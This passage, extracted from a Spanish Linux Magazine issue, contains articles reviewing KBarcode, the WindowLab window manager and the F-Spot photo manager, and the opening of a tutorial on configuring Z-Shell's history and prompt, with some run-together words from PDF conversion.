tings. Desafortunadamente,cuando consultamos el programa parahablar con el servidor de la base de datos,la presentación resultó ser muy inestable.Tuvimos que repetir el test cuatro veceshasta completarlo. Un error reproducibleocurrió en otros tres ordenadores.

74

LINUX USER • KBarcode

74 Número 13 W W W . L I N U X - M A G A Z I N E . E S

El programa KBarcode [1] no sólo teayuda a diseñar etiquetas de distin-tos tamaños y formas, sino que

también puede generar e imprimir códigode barras para facturación y tasación deprecios. Y si lo deseas, el programa recu-perará datos del artículo y del clientedesde el servidor MySQL.

La versión actual de KBarcode, 1.8.1,necesita un entorno de trabajo KDE, ver-sión 3.3 ó superior, así como el driver QtSQL. Para la impresión ocasional de eti-quetas, etiquetas de DVD o tarjetas de visi-ta no es necesario un servidor SQL. El pro-

¿Tienes problemas con la creación de las etiquetas de los precios de

tu papelería, con la de las tarjetas postales o con los códigos de iden-

tificación? Deja que KBarcode te eche una mano.

POR FRANK WIEDUWILT

Figura 1: La conexión a la base de datos MySQL

queda establecida cuando arranca el programa

por primera vez.

Figura 2: La ventana

principal de KBarcode

posee cuatro botones.

Impresión de Etiquetas con KBarcode

BARRA FIJA

Page 75: Linux Magazine - Edición en Castellano, Nº 13

75

KBarcode • LINUX USER

75Número 13W W W . L I N U X - M A G A Z I N E . E S

Si todo va bien, KBarcode te invitará aque establezcas las tablas requeridas en labase de datos y que la puebles con datosde ejemplo. Cuando el programa hayafinalizado, te volverá a presentar la venta-na principal de KBarcode (Figura 2).Puedes cambiar las configuraciones de labase de datos después seleccionandoSettings | Start configuration wizard.

Necesitas de un programa externo comoPHPMyAdmin [3] para administrar losdatos de artículos y clientes y para modifi-car los registros de la base de datos.KBarcode no dispone de una herramientacon la que poder ayudarte para hacer esto.

Etiqueta Nº1Para crear una etiqueta haz click en Label

Editor… en la ventana principal. KBarcodecarga toda la información de formateoconocida, momento en el que puedes ele-gir la etiqueta referida.

El programa soporta una amplia selec-ción de formatos de etiqueta. Si la que túnecesitas no se encuentra, simplementehaz click en Add own label definition paraque aparezca la ventana Add Label

Definition.Cuando selecciones o añadas un forma-

to de etiqueta, aparece en la pantalla eleditor de etiquetas Label Editor (Figura 3).Éste es una especie de programa de dibujoque dispone de herramientas estándarpara abrir, almacenar e imprimir etique-tas, además de una caja de herramientasde formateo. La figura 4 nos muestra loque hacen los botones individuales.

Para posicionar un objeto en una etique-ta, selecciona el objeto en la caja de herra-mienta y haz click en la posición sobre laetiqueta donde desees insertar el elemen-to. Con un doble click sobre el objeto seabre el cuadro de diálogo, donde puedesmodificar las propiedades del objeto. Elmenú contextual te permite establecer laposición de los objetos y ordenarlos.

Si has establecido el acceso a la base dedatos, puedes usar el elemento Insert

database field para añadir informa-ción desde tu base de datos a la eti-queta. Los campos de la base dedatos pueden ser formateados y ali-neados como campos de texto. Laherramienta Insert System Field tepermite añadir campos con valoresde fecha y hora. Existen varios for-matos disponibles.

Para añadir un código de barrasúnico a la etiqueta, primero haz

click en Insert Barcode, para que aparezcael Editor Barcode. Aquí es donde diseñasel formato del código de barras y el conte-nido. Desafortunadamente, el generadordel código de barras también resultó sermuy inestable.

La selección de los formatos de códigode barras depende del programa quehayas instalado. Puedes usar la listaRotation para rotar el código de barras 90grados. Si el valor que has introducido noes válido, el programa pre-sentará un mensaje de error.En teoría, podrías colocar elcódigo de barras en cual-quier parte de la etiquetaque desees, pero nuestraspruebas revelaron que elprograma presentaba algu-nas dificultades cuandoinsertaba códigos de barrasrotados. De hecho, fallócuando intentamos insertarun código de barras rotadodesde 90 a 270 grados.

Correo MasivoPara una etiqueta individualuna base de datos es excesi-vo. Pero si necesitas imprimir etiquetas enlote, entonces lo que se requiere es unabase de datos con datos de clientes.

Probablemente establezcas la base dedatos cuando arranques el programa porvez primera. De lo contrario, seleccionaSettings | Start Configuration | Wizard, yluego especifica las configuraciones paratu conexión al servidor MySQL.

Para la impresión por lotes, haz click enel botón en la ventana principal para queaparezca el diálogo Batch Printing y luegoconecta las etiquetas que has diseñado oselecciona en Label Editor con la base dedatos de tus clientes.

Introduce el nombre de una etiquetadisponible en el campo Label. De estemodo estarás insertando información detu base de datos en esta etiqueta. Luego

selecciona la información del clienterequerida para Customer name and no. Acontinuación puedes hacer click en Edit

para que aparezca un diálogo en el quepuedas seleccionar la información del artí-culo requerida.

Usa el campo Number of Labels paraintroducir el número de etiquetas queimprimirás para este artículo. Especifica elartículo en la lista Article. El campo Group

te permite introducir una tecla para laimpresión de grupos de etiquetas. Estopodría serte útil si deseas enviar un deter-minado número de artículos a un clienteespecífico, por ejemplo. Si haces click enAdd, cierras el diálogo y se añade el artícu-lo a la lista.

ConclusionesKBarcode no ofrece ayuda on-line. Elmanual formateado en PDF es una útilguía para correr el programa, aunque

algunas de las pantallas mos-tradas parecen estar en ale-mán. Este manual correspon-de a la versión 1.4 del progra-ma, la cual está bien, ade-más, ha cambiado muypoco, a excepción de lamanera en la que se encuen-tran organizados algunos ele-mentos de diálogo.

El software es útil paraetiquetado por lotes y parala impresión de código debarras. La interfaz es orde-nada y limpia, ofreciendo alos usuarios un fácil accesoa las funciones del progra-ma.

Lo malo es que llega a ser inestable ensegún qué partes, existiendo el riesgo depérdida de datos, lo cual desvirtua unabuena impresión general. En estemomento los desarrolladores están tra-bajando en una nueva versión que pro-mete mejoras, especialmente en lo que ala impresión por lotes se refiere. �

Figura 3: Uso del Editor de Etiquetas para el rápido

formateo de etiquetas.

Figura 4: KBarcode dis-

pone de una útil selección

de herramientas para el

diseño de etiquetas.

[1] Página de inicio de KBarcode: http://

www.kbarcode.net.

[2] Barcode GNU: http://prdownloads.

sourceforge.net/kbarcode/barcode-0.

98.tar.gz?download

[3] Página de inicio de

PHPMyAdmin:http://www.

phpmyadmin.net.

RECURSOS

Page 76: Linux Magazine - Edición en Castellano, Nº 13

paquetes de desarrollo del GUI. Para Suse

Linux 9.3 el paquete recibe el nombre de

xorg-x11-devel.

Para arrancar tu nuevo administrador

de ventana una vez que te hayas identifi-

cado, necesitas añadir WindowLab al

menú de selección de administrador.

Si dispones de Suse Linux 9.3 y estás

dispuesto utilizar WindowLab a menudo,

todo lo que necesitas saber se encuentra

en el cuadro titulado “WindowLab en

Suse Linux 9.3”. Si lo que deseas es pro-

bar WindowLab, selecciona la sesión

Failsafe en el menú KDM. Esta opción le

dice al menú de presentación que arran-

que el servidor X y una ventana de termi-

nal. Luego puedes escribir en la ventana

windowlab para abrirlo. No notarás

mucha diferencia. El fondo de pantalla

será el mismo y no obtendrás un menú de

arranque o un icono de escritorio. Sin

embargo, Windowlab añade un marco a

la ventana terminal y coloca una barra de

tareas en el borde superior de la pantalla.

La lista de ventana (Figura 2) presenta

el título de la ventana

así como tres botones

en la parte derecha.

De izquierda a dere-

cha, puedes hacer

click sobre los boto-

nes para iconizar la

ventana, mover la

ventana actual al

fondo de pantalla o

cerrarla. También se

encuentran disponi-

bles atajos de teclado

para navegar a través

de ventanas. [Alt] +

[Q] mueve las venta-

nas a un primer tér-

mino en el orden

mostrado en la barra de tareas. [Alt] +

[Tab] las cambia en la dirección opuesta.

El atajo de teclado [Alt] + [F12] mueve la

ventana activa al fondo de pantalla. [Alt]

76

LINUX USER • Desktopia

76 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Trabajar en un laboratorio significa

que hay que mantenerse al tanto

de todo. Una funcionalidad super-

flua puede producir resultados inconsis-

tentes. WindowLab [1] (Figura 1) centra

la atención en la función principal de un

administrador de ventanas: la organiza-

ción de ventanas de aplicaciones en el

escritorio, evitando complicaciones inne-

cesarias que puedan inducir a errores.

Experimentos PreliminaresWindowLab está basado en el código

fuente aewm [2]. Puedes usar el archivo

de código fuente descargable desde la

página de inicio del proyecto para crear el

administrador de ventanas. No necesitas

correr un programa de configure para

WindowLab. Pero sí el make y los coman-

dos de su -c "make install" en el directorio

de código fuente y copiar los ficheros del

programa a directorios bajo /usr/local. En

cuanto al uso de recursos, el programa es

frugal y solamente necesitas gcc para

crear el administrador junto con los

Si estás buscando un escritorio rápido y funcional, prueba con Win-

dowLab. Este administrador de ventanas minimalista se concentra en

lo que es importante y funciona sin pitos ni flautas superfluos.

POR HAGEN HÖPFNER

Figura 1: La configuración predeterminada de WindowLab es espar-

tana y funcional.

El escueto administrador de ventanas WindowLab

EQUIPO DELABORATORIO

Para añadir WindowLab al menú de

selección de KDM en Suse Linux 9.3,

crea un fichero /opt/kde3/share/apps/

kdm/ses sions/windovwlab.desktop y

cumpliméntalo con los siguientes conte-

nidos:

[Desktop Entry]

Encoding=UTF-8

Type=XSession

Exec=windowlab

TryExec=windowlab

Name=WindowLab

Comment[es]=Mi WindowLab

Para presentar una imagen de fondo de

pantalla cuando se arranque el adminis-

trador de ventanas, puedes usar un pro-

grama como start_window-lab.sh.

#!/bin/bash

xv -quit -root /opt/kde3/shareU

/wallpapersU

/SuSE-Desktop_1024.png &

windowlab

Hazlo ejecutable y añade el path comple-

to al programa de la entrada Exec=entry

en tu fichero windowlab.desktop.

WindowLab en Suse Linux9.3

Page 77: Linux Magazine - Edición en Castellano, Nº 13

77

Desktopia • LINUX USER

77Número 13W W W . L I N U X - M A G A Z I N E . E S

+ [F11] cambia entre los modos de pan-

talla normal a pantalla completa.

Haciendo click sobre el escritorio o

sobre la barra de tareas con el botón dere-

cho, lo convierte en un menú de inicio

(Figura 3). El menú ofrece una entrada

(Quit), otra entrada (About) y otro núme-

ro de entradas para arrancar las aplicacio-

nes. Para habilitar una entrada simple-

mente puedes soltar el botón derecho del

ratón mientras éste permanece inmóvil

sobre un ítem. La entrada Edit menu no te

lleva a un diálogo de configuración basa-

do en GUI, tal y como podrías esperar,

sino a un editor de texto, que por defecto

es gvim, y que puedes usar para editar el

fichero de configuración de WindowLab.

Hay algo con lo que debes tener cuida-

do cuando estás moviendo ventanas. Los

marcos de éstas deben encontrarse com-

pletamente sobre el escritorio y no está

permitido cubrir la barra de tareas. Esto

hace imposible trasladar una ventana

fuera del área del escritorio.

Para escalar una ventana mantén la

tecla [Alt] y haz click sobre el marco de la

ventana. De este modo WindowLab no te

muestra el contenido de la ventana, sino

que simplemente presenta un estilizado

marco de ventana. Luego puedes arrastrar

el ratón para escalarla.

ConfiguracionesPuedes usar el fichero de configuración

de WindowLab para modificar el menú de

arranque. Para evitar cambir las configu-

raciones para todos los usuarios, deberás

crear primero un directorio ~/.windo-

wlab y copiar la plantilla etc/X11/windo-

wlab/menurc a esta carpeta. Incluso si

nunca has editado un fichero de configu-

ración previamente, la creación de este

fichero menurc no debería plantearte

demasiados problemas. Cada línea que no

comienza con un signo (#) contiene una

entrada de menú con la sintaxis general

elemento-menu: programa. elemento-

menu representa el texto que WindowLab

presentará en el

menú. El nombre del

programa sigue a con-

tinuación de los dos

puntos. Por ejemplo,

XEmacs:xemacs significa que tu menú de

comienzo tendrá una entrada para

XEmacs después de rearrancar

WindowLab y que dicha entrada arranca-

rá el editor de texto. La entrada de

menurc aparece en el extremos izquierdo

del menú.

Más Trabajo de LaboratorioWindowLab sólo ofrece un escritorio por

defecto. Si te gusta trabajar con escrito-

rios virtuales, deberás añadir una herra-

mineta externa tal como vdesk para que

quede incluída esta funcionalidad.

Puedes descargar este programa de la

línea de comandos desde [3] y seguir el

procedimiento normal para la creación: ./

configure && make && make install. La

herramienta corre en el fondo, dando a

los usuarios la impresión de que trabajan

con escritorios virtuales.

Para añadir cuatro escritorios virtuales

a WindowLab, escribe las siguientes líne-

as en el fichero ~/.windowlab/menurc:

Desk1:vdesk 1

Desk2:vdesk 2

Desk3:vdesk 3

Desk4:vdesk 4

Después de rearrancar WindowLab, te

presentará cuatro entradas de menú adi-

cionales que puedes usar para moverte

por los diferentes escritorios. Si además

también quieres disponer de la posibilidad

de mover las ventanas de la aplicación a

otros directorios virtuales, puedes usar un

programa para determinar el ID de una

ventana interna y pasar el ID a vdesk.

Primero añade las siguientes líneas a tu

fichero menurc para crear los botones que

te permitirán mover una ventana a uno de

los cuatro escritorios:

ToDesk1:/path/to/to.sh 1

ToDesk2:/path/to/to.sh 2

ToDesk3:/path/to/to.sh 3

ToDesk4:/path/to/to.sh 4

A continuación usa un editor de texto

para crear un programa llamado to.sh con

el siguiente contenido:

#!/bin/bash

vdesk $1 `xwininfo | grep U

"Window id:" | cut -d" " -f4`

y ejecuta el programa.

Ahora, cuando selecciones una de las

cuatro entradas de menú, el comando

xwininfo | grep “Window id:” | cut -d” “

-f4 devolverá el ID de la ventana de una

ventana que pulsaste.

El programa pasa el ID a vdesk, el cual

mueve luego la ventana a un escritorio

que hayas elegido. Adicionalmente, vdesk

puede insertar de manera opcional una

ventana sobre todos los escritorios virtua-

les al mismo tiempo. Para presentar una

ventana universal necesitas moverla al

escritorio O. La entrada de menú debiera

parecerse a algo así:

Sticky:/path/to/to.sh 0

Un conjunto de herramientas externas te

permiten añadir más funcionalidades.

Para la presentación del fondo de pantalla

podrías usar una herramienta como

Esetroot o el visor de imagen xv. El

comando xv -quit -root /pt/kde3/share/

wallpapers/SuSE-Desktop_1024.png que

corre en Suse Linux 9.3, mejora el aspecto

del escritorio con una imagen de fondo

predeterminada. También puedes pintar

el escritorio en un color único. Usando

xsetroot: xsetroot-solid blue el escritorio

quedará pintado de color azul.

ConclusionesWindowLab es un administrador de ven-

tanas minimalista que combina la barra

de tareas y el menú de inicio en un ele-

mento único para ahorrar espacio. La

herramienta es interesante para minima-

listas así como para algunos usuarios

interesados en personalizar sus propios

entornos de escritorio de cliente. Claro

que todos estos esfuerzos pueden tener

efectos colaterales, tal y como demuestra

el hecho de que no todas los programas

funcionaron perfectamente con

WindowLab. Por ejemplo, usar la barra

de tareas para cambiar entre ventanas

realmente desconcierta a vdesk. �

Figura 2: La lista de ventanas de WindowLab

ofrece a los usuarios las necesidades al des-

cubierto.

Figura 3: La barra de tareas cambia a un menú de inicio cuando

hacemos click con el botón derecho.

[1] WindowLab: http://www.

nickgravgaard.com/windowlab/

[2] aewm: http://www.red-bean.com/

~decklin/aewm/

[3] vdesk: http://offog.org/code/

RECURSOS

Page 78: Linux Magazine - Edición en Castellano, Nº 13

Suse 9.3 incluso incluye F-Spot en los

medios de instalación.

Como fue escrito en C#, necesita de

Mono [2] acompañado del intérprete del

programa, mono, además de unos cuantos

paquetes GNOME, varias bases de datos y

algunas librerías gráficas. La compilación

de F-Spot a partir de las fuentes no es una

tarea fácil.

Cuando arranca por primera vez, pre-

senta un catálogo de imágenes completa-

mente vacío, pero el programa ofrece un

diálogo desde donde se pueden importar

nuevas fotos para ayudarte en la tarea ini-

cial. Luego puedes seleccionar un medio

de almacenamiento adjunto o cualquier

carpeta, como tu fuente de importación.

Al mismo tiempo, también puedes definir

categorías para las imágenes importadas.

Haciendo click en OK, F-Spot buscará la

carpeta especificada y, si contiene ficheros

de imágenes, los cataloga. Puedes abrir la

ventana de importación en cualquier

momento después, usando el menú File.

Busca y CapturaTras importar unas cuantas imágenes, F-

Spot debería tener un poco más de colo-

rido, como muestra la Figura 1. Cuando

haces click en una imagen se presentan

algunos detalles, tales como el nombre,

tamaño o la fecha. El campo nombre te

permite renombrar las imágenes, aunque

los desarrolladores aún no han imple-

mentado esta función.

F-Spot recupera datos como el tiempo

de exposición u orientación desde los

ficheros de imágenes usando EXIF (un

estándar para la transferencia de meta-

datos específicos de imagen entre los

ficheros). Los campos EXIF se presentan

en un cuadro de diálogo.

Existen dos modos de organizar la jun-

gla de imágenes: por un lado puedes

usar las etiquetas en la lista que se mues-

tra en la parte superior izquierda de la

ventana de F-Spot. Además de las etique-

tas especiales Favorites y Hidden, existen

cuatro categorías predefinidas: People,

Places, Events y Other. Para añadir nue-

vas etiquetas o para especificar una

nueva categoría, puedes usar o bien el

menú contextual, o bien la entrada Tags.

Arrastrando una etiqueta o una categoría

a un dibujo, asigna la imagen a la etique-

ta. También puedes hacer uso del menú

78

LINUX USER • F-Spot

78 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Con la reciente popularidad que ha

adquirido la fotografía digital, los

discos duros tienden a encontrarse

inundados de fotos. El problema con el

almacenamiento de imágenes en un orde-

nador es encontrar la foto que necesitas en

un período de tiempo razonable. La tradi-

cional costumbre de guardar ficheros en

un árbol de directorios es inútil si necesi-

tas aplicar determinados criterios de clasi-

ficación. Aunque el árbol de directorios

puede mantener una distribución por

fecha y hora, no es posible clasificar las

imágenes en categorías descriptivas como

“trabajo”, “gente”, “placer” o “edificios”.

F-Spot [1] puede llevar a cabo esta tarea

y poner en orden tu colección personal de

fotos. El proyecto fue iniciado en 2003 por

el desarrollador de GNOME Ettore

Perazzoli, que desafortunadamente falle-

ció en Diciembre de ese mismo año.

Ahora, es Larry Ewin (el tipo que diseñó el

pingüino Tux) el que ha tomado el relevo.

Instalación y Primeros PasosF-Spot cuenta con instalación basada en

paquetes, con paquetes nativos para dis-

tribuciones como Debian, Fedora y Suse.

El caos es inevitable cuando el disco

duro se encuentra lleno de fotos digi-

tales. El programa de administración

de imagen F-Spot te ayuda a adminis-

trar tu archivo de fotos eficazmente y

sin ningún tipo de pérdida de tiempo.

POR MATTHIAS WARKUS

ORGANIZADOR DE FOTOS

El administrador de imagen F-SpotEl administrador de imagen F-Spot

ORGANIZADOR DE FOTOS

Page 79: Linux Magazine - Edición en Castellano, Nº 13
Page 80: Linux Magazine - Edición en Castellano, Nº 13

LINUX USER • F-Spot

80 Número 13 W W W . L I N U X - M A G A Z I N E . E S

contextual para administrar las etiquetas

seleccionando Add tag o Remove tag.

Cuando habilitas una caja de comproba-

ción en la lista categoría, F-Spot presenta

las imágenes de esa categoría. Si se habili-

tan en el índice múltiples cajas de compro-

bación, entonces presentará las imágenes

con una de esas etiquetas, pero no la

intersección de las selecciones. Cabe pre-

guntarse si esta característica es útil.

Seleccionando Edit tag en el menú contex-

tual (o Tags | Edit selected tags…) abre

una ventana donde puedes cambiar la

asignación de la categoría de una etiqueta.

Un control de deslizamiento de los

índices permite a los usuarios un acceso

rápido a las imágenes, sin necesidad de

que tengan que establecer categorías de

imágenes primero (Figura 2). Esta herra-

mienta, la cual es bastante curiosa,

muestra a primera

vista un índice de

tiempo con marcas

de años y meses.

Puedes usar las fle-

chas para listar los

segmentos visi-

bles. Una barra

encima del seg-

mento para un mes

específico, te dice

que las imágenes

de ese mes existen

en el catálogo

actual, quedando

reflejado el número

de imágenes

mediante el tamaño de la barra. Si luego

pulsas el deslizador hasta un punto espe-

cífico en el tiempo, el índice salta a la

imagen más cercana a dicho punto.

Puedes usar las manecillas para mover

los umbrales de los datos superiores e

inferiores para restringir el índice a un

período específico.

Si seleccionamos Folder view, F-Spot

cambia la escala temporal a

una escala de directorio. Esta

opción puede ser muy útil si

clasificas las imágenes en

carpetas antes de importarlas.

De lo contrario, los beneficios

que aporta la extensión de un árbol de

directorios en una escala lineal serían

más que debatibles.

Profundizando…Después de encontrar la imagen que esta-

bas buscando, haz doble click en ella para

visionarla ampliada desplazable, tal y

como muestra la Figura 3. Los botones

para características típicas, como rotar a

la izquierda o a la derecha, o mover imá-

genes retrato a paisajes, se

encuentran disponibles en

el índice. Adicionalmente,

en modo zoom puedes

usar la herramienta marco

para seleccionar un detalle

o eliminar los ojos rojos de

un retrato. También hay

una lista de aspectos pro-

porcionados que permiten

cortar imágenes para adap-

tarlas a un formato de

página específico. La pale-

ta incluye un histograma

de color y una herramienta

de enfoque suave.

Cuando un usuario elige editar una

imagen, F-Spot crea siempre una nueva

versión de ésta para prevenir que se

dañe la original. Si algo va mal, los usua-

rios pueden seleccionar Original en el

menú Version para restaurar la imagen

original.

El programa también dispone de herra-

mientas para seleccionar la imagen

actual como fondo de escritorio, un

modo de presentación a pantalla comple-

ta y un modo slideshow. La función de

impresión que usa Gnome para crear

copias impresas permite imprimir las

imágenes cuando nos sean necesarias.

El menú Export ofrece más funciones

para clasificar y editar imágenes. Además

de copiarlas en diferentes directorios, tam-

bién soporta el servicio de compartición

Flickr [3] y permite a los usuarios crear y

subir galerías HTML. Así mismo, pueden

copiar sus colecciones en CDs o en DVDs

usando el interfaz de copia GNOME.

ConclusionesF-Spot se encuentra en un estado de de-

sarrollo inicial y aún cuenta con unas

cuantas asperezas que limar. Así que, la

idea de un administrador de imagen inte-

grado en GNOME nos presagia un buen

futuro. Los controles son simples, y

están bien pensados, lo cual es bueno,

ya que actualmente este proyecto carece

de documentación.

Si tu colección de fotos ha ido crecien-

do a lo largo de los años, te gustará la

característica de escala temporal. La ver-

sión CVS de F-Spot posee un buen núme-

ro de mejoras. Por ejemplo, el programa

muestra los resultados mientras analiza

los árboles de directorios. También

podrás encontrar una nueva lista que te

dirá qué etiqueta busca el índice actual.

Si eres aficionado a la fotografía digital

y estás teniendo problemas con la admi-

nistración de tu colección de fotos, F-

Spot es justamente lo que necesitas. Es

una herramienta bastante poderosa y

posee un gran potencial para desarrollo

futuro. �

Figura 3: Vista aumentada.

Figura 2: Deslizador temporal.

Figura 1: F-Spot ofrece una visión de las imágenes almacenadas.

[1] Página de inicio de F-Spot: http://

www.gnome.org/projects/f-spot

[2] Descargas de mono: http://www.

mono-project.com/Downloads

[3] Flickr: http://www.flickr.com

RECURSOS

Page 81: Linux Magazine - Edición en Castellano, Nº 13

81

Z-Shell • LINUX USER

81Número 13W W W . L I N U X - M A G A Z I N E . E S

Hoy en día una shell debe hacermucho más que interpretarcomandos. Una que shell

moderna debe completar cualquiernúmero de comandos y parámetros;debe poseer un lenguaje de programa-ción propio y debe incluir funcionesque hagan la vida de los usuariosmucho más fácil. La mayor parte de lasdistribuciones usan Bash como shellpredeterminada. Pero si haces un usointensivo de la línea de comandos, teinteresará Z-Shell, la cual dispone dealgunas interesantes opciones que no seencuentran en Bash.

Z-Shell (o Zsh) fue desarrollada porPaul Falstad en 1989. Su idea fue escribiruna shell que combinara los beneficios ymejoras que ofrecían Bash, Csh y Ksh, almismo tiempo que ofrecía nuevas carac-terísticas. Los miembros de la lista decorreos [email protected] continú-an trabajando actualmente bajo la coor-dinación de Peter Stephenson.

InstalaciónMuchas distribuciones instalan Zsh pordefecto y, con otras, puedes usar fácil-mente para la instalación el administra-dor de paquetes. Los paquetes RPM seencuentran disponibles en RPM-Seek[1], por ejemplo, y puedes correr elcomando rpm -i nombrepaquete.rpm

para instalarlo.

Si prefieres, puedes compilar Z-Shell apartir del código fuente. Éste se encuen-tra disponible desde cualquiera de losespejos del proyecto Zsh. No existendependencias específicas que vigilar. Usael procedimiento estándar para compilare instalar (como root) Zsh:

./configure

make

su -c "make install"

Migrando a ZshSi quieres probar con los ejemplos deeste artículo, puedes arrancar Zsh escri-biendo el comando exec zsh. Pero parausar Zsh como shell de inicio, primerodebes comprobar si tu sistema tiene unaentrada con la ruta completa a Zsh en tufichero /etc/shells. Si no se encuentraesta entrada, escribe primero which zsh

para descubrir la ruta a Zsh, y luego,como root, añádela a /etc/shells (Ver lis-tado 1).

Para cambiar tu shell de inicio actualpor el de Zsh, escribe chsh -c

/path/to/zsh username. Deberás correrchsh como root.

Cuando cambies de shell, es unabuena idea que permanezcas conectadoa otra consola con objeto de comprobarque los cambios se lleven a efecto. Unerror tipográfico en el nombre de la rutale impediría al usuario iniciarse sin tenerque usar el comando chsh otra vez o edi-tando el fichero /etc/passwd.

Si prefieres, puedes usar los paráme-tros -l o -login para arrancar Zsh explíci-tamente como shell de inicio.

Configuración de FicherosLos administradores del sistema poseencinco ficheros de configuración para con-figurar Zsh: /etc/zsh-env, /etc/profile,/etc/zshrc, /etc/zlogin y /etc/zlogout

(Debian coloca estos ficheros en /etc/

zsh). Esto archivos también puedenalmacenarse en los directorios de inicio

de cada usuario. Puedes usar la variable$zdotdir para especificar una localiza-ción diferente: $HOME -

ZDOTDIR=$HOME/ .zsh, por ejemplo.Lo convenido es que los nombres de

los ficheros de configuración localizadosen los directorios de los usuarioscomiencen con un punto, por ejemplo,.zshenv, .zprofile, etc. Para mejorar lalegibilidad, dejaremos los nombres delas rutas y los puntos iniciales en losficheros de configuración que siguen.

Cuando arranca, Zsh primero analizalos ficheros de configuración central (en/etc o /etc/zsh), antes de continuar anali-zando los ficheros específicos del usuario.Esto significa que cualquiera de ellospuede modificar la configuración central,diseñada por el administrador del sistema,con sus propios ficheros de configuración.

Z-Shell primero analiza zshenv. Estoes, donde se localizan las variables deentorno críticas, tales como rutas(PATHS, CDPATH, MANPATH) o configu-raciones tales como DISPLAY, EDITOR,PAGER y PRINTER.

Si Zsh es la shell de inicio, continúaanalizando zprofile y zlogin después dezshenv. Cada Z-Shell (no importa si es lashell de inicio) analiza luego zshrc.Antes de salir, una shell de inicio de Zshtambién analizará zlogout.

No es necesario adaptar los ficheros deconfiguración: como la mayoría de las

La moderna Z-Shell con

sus inumerables y útiles

características ofrece a

los fans de la línea de

comandos una atractiva

alternativa a Bash.

POR SIMON KÖLSCH

Figura 1: Uso de secuencias de escape para

colorear el prompt de Zsh. Un emoticono

verde indica la ejecución de un comando libre

de error; si el emoticono es rojo, algo ha ido

mal.

La shell Zsh

SHELL MEJORADO

Page 82: Linux Magazine - Edición en Castellano, Nº 13

sea más impactante. El prompt de Zshusa distintas notaciones desde Bash, yesto te evitará copiar simplemente unfichero de configuración bash existen-te.

La variable de entorno PROMPT definela apariencia del prompt. Contienecomodines para información del sistemay rutas. La shell interpreta el contenidode esta variable y presenta el prompt aemparejar. Como PROMPT es una varia-ble de entorno que se configura cada vezque arranca la shell, la entrada debecolocarse en zshenv. Encontrarás unavista de los comodines y cómo seencuentran expandidos para formar elprompt en el manual zshmisc bajo“Prompt Expansion”:

man zshmisc | less +/^PROMPT

En la sección siguiente desarrollaremosun prompt práctico que muestra dos delas propiedades más útiles de la shell.Restringiremos la presentación deldirectorio actual a unos cuantos de losúltimos directorios superordinariospara evitar que el prompt llegue a serinmanejable. Adicionalmente, Zshsoporta condiciones, con las que pode-mos contar para reaccionar con estadosespecíficos ante eventos específicos.Podemos usar esta habilidad para eva-luar el valor de retorno del últimocomando y poder ver de un vistazo siha ocurrido un error. Esto es especial-mente útil si necesitamos correr un

comando que envía muchas salidas astdout como make, por ejemplo.

Un Prompt a MedidaVamos a comenzar estudiando elprompt. Por defecto, sigue la pauta user-

name@host:

PROMPT=%n@%m

La notación %m se refiere al nombre dehost, y %n al nombre de usuario. Añadeun separador entre el prompt y la entra-da de la línea de comando: %# te daráun signo pound si root usa la shell y unsigno de porcentaje para los usuariosnormales:

PROMPT='%n@%m%#'

Ahora podemos añadir %~ para produ-cir el directorio actual, y dos puntos paraseparar el directorio del nombre de host.Para dar al prompt una apariencia pulcraenmarca todo entre corchetes y añade unespacio antes del carácter final:

PROMPT=$'[%n@%m:%~] %#'

Si el directorio actual está a más de cua-tro niveles del directorio raíz, el promptque hemos diseñado comienza a presen-tar un aspecto deshilachado. Lo que esmás, va penetrando más y más hacia laderecha en la terminal a medida quevamos profundizando en el árbol dedirectorios. Para evitar que esto ocurra,

shells, Zsh corre bastante bien sin necesi-dad de que modifiques la configuración.Es decir, los ficheros de configuración sonsusceptibles de darte una configuración amedida. La Tabla 1 muestra los ficherosresponsables de dichas tareas.

HistoriaZsh es capaz de almacenar una lista decomandos que introdujiste bajo el nom-bre de history. Para habilitarlo, necesitasestablecer tres variables de entorno:HIS-

TSIZE, HISTFILE y SAVEHIST. HISTSIZE

especifica el número máximo de entra-das que Zsh almacenará en la historia.HISTFILE especifica los ficheros dondeZsh almacena la historia antes de salir. Yfinalmente, SAVEHIST define el númerode líneas que Zsh puede escribir en $HIS-

TFILE. Una configuración típica seríaalgo parecido a :

HISTSIZE=500

HISTFILE=~/.zsh_history

SAVEHIST=100

Esto le dice a Zsh que “recuerde” las últi-mas 500 líneas de comandos, pero quealmacene solamente las últimas 100 en elfichero especificado. La próxima vez quearranques Zsh, puedes rellamar a laslíneas de comandos almacenadas a tra-vés de la función historia.

Adicionalmente, pulsando[CTRL]+[R] te permite buscar en la his-toria para comandos. Presionando esteatajo de teclado múltiples veces, semuestran las líneas que contienen elmodelo que estás buscando.^ representael comienzo de la línea y puede precederal modelo buscado. Si Zsh encuentra elcomando requerido, entonces puedespulsar [Enter] para correr el comandouna vez más. [CTRL]+[4] sale de la bús-queda.

El PromptUn prompt claro facilita el uso efectivode la shell y hace que su apariencia

LINUX USER • Z-Shell

82 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Para presentar la configuración completa de las opciones de Z-Shell, escribe

“setopt” y pulsa dos veces la tecla tabulador.

01 # grep zsh /etc/shells

02 # where zsh

03 /usr/bin/zsh

04 # echo "/usr/bin/zsh" >> /etc/

05 shells

Listado 1: Comprobando/etc/shells

Page 83: Linux Magazine - Edición en Castellano, Nº 13

puede que prefieras presentar el nombredel directorio actual a apartir del cuartonivel. Esto se denomina “truncado” yZsh usa condiciones para manejarlo. Lasintaxis general para esto es %(condi-

ción, acción si cierto, acción si falso).No es necesario usar una coma para

separar condiciones y acciones. Zshinterpretará el primer carácter a partir dela condición como el separador. Has deasegurarte de que necesitas el mismoseparador para el resto de la expresión.

La condición que necesitamos aquí es4c .c, que se refiere al número de ele-mentos en la ruta actual (/ no cuentacomo elemento). El 4 comprueba si laruta contiene 4 ó más elementos. Comouna acción, bien puedes imprimir la rutacompleta, especificando %~, o bien elprimer elemento en la ruta, esto es, eldirectorio actual, especificando en estecaso %1~. Vale la pena señalar al usua-rio que estamos usando truncado aña-diendo ./ a la ruta truncada:

PROMPT=$'[%n@%m:%(4c,./%1~,%~)]U

%# '

Una condición simple te da el valor deretorno para el último comando:PROMPT=$'[%n@%m:%(4c,./%1~,%~)]U

%(?,:%),:%() %# '

La condición ? está completada si el esta-do de salida del último comando fue 0,es decir, si no ha ocurrido ningún error.En este caso, Zsh añadirá un emoticonoal prompt. El emoticono pondrá cara tris-te si el valor de retorno no fue cero (esdecir, se produjo un error).

